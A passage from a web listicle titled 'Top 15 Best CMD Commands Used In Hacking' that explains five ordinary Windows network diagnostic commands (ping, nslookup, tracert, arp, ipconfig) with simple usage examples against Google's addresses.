Top 15 Best CMD Commands Used In Hacking.

The test simply shows the amount of time it took to reach the specific address. In simple words, it helps you to know if the host you pinging is alive.

You can use the Ping command whenever you need to verify that the host computer can connect to the TCP/IP network and its resources.

For example, you can type in Command prompt ping 8.8.8.8 which belongs to Google.

You can replace “8.8.8.8” to “www.google.com” or something else which you want to ping.

2. nslookup

It is a network administration command-line tool that helps you to obtain domain name or IP address mapping for any specific DNS record. Suppose you have a website URL but want to know its IP Address, you can simply type in CMD

nslookup www.google.com (Replace Google.com with your website URL of which you want to find the IP address)

3. tracert

You can say Trace Route like its name it allows users to trace the route than an IP packed has taken to reach a destination. The command calculates and displays the amount of time each hop took to reach a destination. You just need to type

tracert x.x.x.x (if you know the IP Address) or else you can type tracert www.google.com (If you don’t know the IP address)

4. arp

This command helps you to modify the ARP cache. You can run an arp-a command on each computer to see whether the computers have the correct MAC address listed for each other to ping each other succeed on the same subnet.

This command also helps users to find out if anyone has done arp poisoning in their LAN.

You can try typing arp-a in command prompt.

5. ipconfig

This is the command which shows every useful thing. It will show you IPv6 address, temporary IPv6 address, IPv4 address, Subnet Mask, Default gateway and all other things that you want to know.
